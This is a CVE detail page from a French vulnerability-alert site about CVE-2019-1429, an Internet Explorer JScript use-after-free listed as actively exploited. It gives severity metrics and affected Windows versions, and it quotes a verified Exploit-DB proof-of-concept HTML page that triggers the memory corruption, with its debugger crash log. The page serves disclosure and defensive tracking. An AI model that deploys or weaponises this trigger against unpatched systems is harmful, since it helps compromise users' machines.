English
Français
Light
Dark
System

CVEFind - Alertes CVE

Restez informé en continue
Créer un compte Ouvrez un compte Simple et Gratuit Se connecter Gérez vos alertes

CVE-2019-1429 : Détail

CVE-2019-1429

7.5
/
HIGH
Memory CorruptionOverflow
96.88%V3
Network
2019-11-12 17:53 +00:00
2019-11-21 22:06 +00:00
CVE.org
NVD

Alerte pour un CVE

Restez informé de toutes modifications pour un CVE spécifique.
Gestion des alertes

Descriptions

A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1426, CVE-2019-1427, CVE-2019-1428.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2021-11-02 23:00 +00:00

Action attendue : 2022-05-02 22:00 +00:00

Informations importantes

Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 47707

Date de publication : 2019-11-21 23:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

There is a use-after-free issue in JSCript (triggerable via Internet Explorer) where the members of the 'arguments' object aren't tracked by the garbage collector during the 'toJSON' callback. Thus, during the 'toJSON' callback, it is possible to assign a variable to the 'arguments' object, have it garbage-collected (as long as it is not referenced anywhere else) and still access it later. Note that, like in some previously reported JSCript issues, this is a use-after-free on a JSCript variable (VAR structure), so in order to trigger a crash, the entire block of variables must be freed. PoC for Internet Explorer is below. I tested it on multiple Windows version with the latest security patches applied. =========================================================== <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var spray = new Array(); function F() { alert('callback'); // 2. Create a bunch of objects for (var i = 0; i < 20000; i++) spray[i] = new Object(); // 3. Store a reference to one of them in the arguments array // The arguments array isn't tracked by garbage collector arguments[0] = spray[5000]; // 4. Delete the objects and call the garbage collector // All JSCript variables get reclaimed... for (var i = 0; i < 20000; i++) spray[i] = 1; CollectGarbage(); // 5. But we still have reference to one of them in the // arguments array alert(arguments[0]); } // 1. Cause toJSON callback to fire var o = {toJSON:F} JSON.stringify(o); alert('done'); </script> =========================================================== Debug log: =========================================================== (1cf4.154): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000080 ebx=05ecc218 ecx=00000080 edx=00000001 esi=05f0c3c8 edi=05fb12e8 eip=6e25f52a esp=05ecc180 ebp=05ecc1b4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 jscript!PrepareInvoke+0x12a: 6e25f52a 0fb707 movzx eax,word ptr [edi] ds:002b:05fb12e8=???? 0:009> k # ChildEBP RetAddr 00 05ecc1b4 6e262b75 jscript!PrepareInvoke+0x12a 01 05ecc2a8 6e2660ee jscript!VAR::InvokeByDispID+0x1c5 02 05ecc4a0 6e26244a jscript!CScriptRuntime::Run+0x2e4e 03 05ecc594 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa 04 05ecc5ec 6e25bec9 jscript!ScrFncObj::Call+0x81 05 05ecc68c 6e262aed jscript!NameTbl::InvokeInternal+0x399 06 05ecc78c 6e2a862c jscript!VAR::InvokeByDispID+0x13d 07 05ecc800 6e2a8c2e jscript!GCProtectKeyAndCall+0xed 08 05ecc898 6e2a93ce jscript!JSONApplyFilters+0x125 09 05ecc90c 6e2ad9a2 jscript!JSONStringifyObject+0xac 0a 05ecc9b4 6e269e3a jscript!JsJSONStringify+0x382 0b 05ecca1c 6e25bec9 jscript!NatFncObj::Call+0xea 0c 05eccabc 6e25e476 jscript!NameTbl::InvokeInternal+0x399 0d 05eccc78 6e262aa5 jscript!VAR::InvokeByName+0x8f6 0e 05eccd70 6e2660ee jscript!VAR::InvokeByDispID+0xf5 0f 05eccf68 6e26244a jscript!CScriptRuntime::Run+0x2e4e 10 05ecd05c 6e2622a1 jscript!ScrFncObj::CallWithFrameOnStack+0xaa 11 05ecd0b4 6e257124 jscript!ScrFncObj::Call+0x81 12 05ecd170 6e257f75 jscript!CSession::Execute+0x314 13 05ecd1d0 6e256c83 jscript!COleScript::ExecutePendingScripts+0x2d5 14 05ecd274 6e2569b9 jscript!COleScript::ParseScriptTextCore+0x2c3 15 05ecd2a0 70209251 jscript!COleScript::ParseScriptText+0x29 16 05ecd2d8 70122a27 MSHTML!CActiveScriptHolder::ParseScriptText+0x51 17 05ecd348 70121fe2 MSHTML!CScriptCollection::ParseScriptText+0x182 18 05ecd434 701226ee MSHTML!CScriptData::CommitCode+0x312 19 05ecd4b0 7012153a MSHTML!CScriptData::Execute+0x1ba 1a 05ecd4d0 701e99b6 MSHTML!CHtmScriptParseCtx::Execute+0xaa 1b 05ecd524 70159c7d MSHTML!CHtmParseBase::Execute+0x186 1c 05ecd544 70159599 MSHTML!CHtmPost::Broadcast+0xfd 1d 05ecd66c 7017647d MSHTML!CHtmPost::Exec+0x339 1e 05ecd68c 70176376 MSHTML!CHtmPost::Run+0x3d 1f 05ecd6ac 70176308 MSHTML!PostManExecute+0x60 20 05ecd6c0 70176279 MSHTML!PostManResume+0x6f 21 05ecd6f0 70208447 MSHTML!CHtmPost::OnDwnChanCallback+0x39 22 05ecd708 7015be1d MSHTML!CDwnChan::OnMethodCall+0x27 23 05ecd780 702f1207 MSHTML!GlobalWndOnMethodCall+0x1bd 24 05ecd7d0 7015c5a2 MSHTML!GlobalWndProc_SEH+0x317 25 05ecd7ec 7562624b MSHTML!GlobalWndProc+0x52 26 05ecd818 756174dc USER32!_InternalCallWinProc+0x2b 27 05ecd8fc 7561661b USER32!UserCallWinProcCheckWow+0x3ac 28 05ecd970 756163f0 USER32!DispatchMessageWorker+0x21b 29 05ecd97c 717e6456 USER32!DispatchMessageW+0x10 2a 05ecfb0c 717e73e3 IEFRAME!CTabWindow::_TabWindowThreadProc+0xa36 2b 05ecfbcc 7223df6c IEFRAME!LCIETab_ThreadProc+0x403 2c 05ecfbe4 7130289d msIso!_IsoThreadProc_WrapperToReleaseScope+0x1c 2d 05ecfc1c 75520419 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x8d 2e 05ecfc2c 7789662d KERNEL32!BaseThreadInitThunk+0x19 2f 05ecfc88 778965fd ntdll!__RtlUserThreadStart+0x2f 30 05ecfc98 00000000 ntdll!_RtlUserThreadStart+0x1b ===========================================================

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 9

Microsoft>>Windows_server_2008 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_10_1507 >> Version -

Microsoft>>Windows_10_1607 >> Version -

Microsoft>>Windows_10_1709 >> Version -

Microsoft>>Windows_10_1803 >> Version -

Microsoft>>Windows_10_1809 >> Version -

Microsoft>>Windows_10_1903 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2019 >> Version -

References


Plus d'informations
Cliquez sur le bouton à gauche (OFF), pour autoriser l'inscription de cookie améliorant les fonctionnalités du site. Cliquez sur le bouton à gauche (Tout accepter), pour ne plus autoriser l'inscription de cookie améliorant les fonctionnalités du site.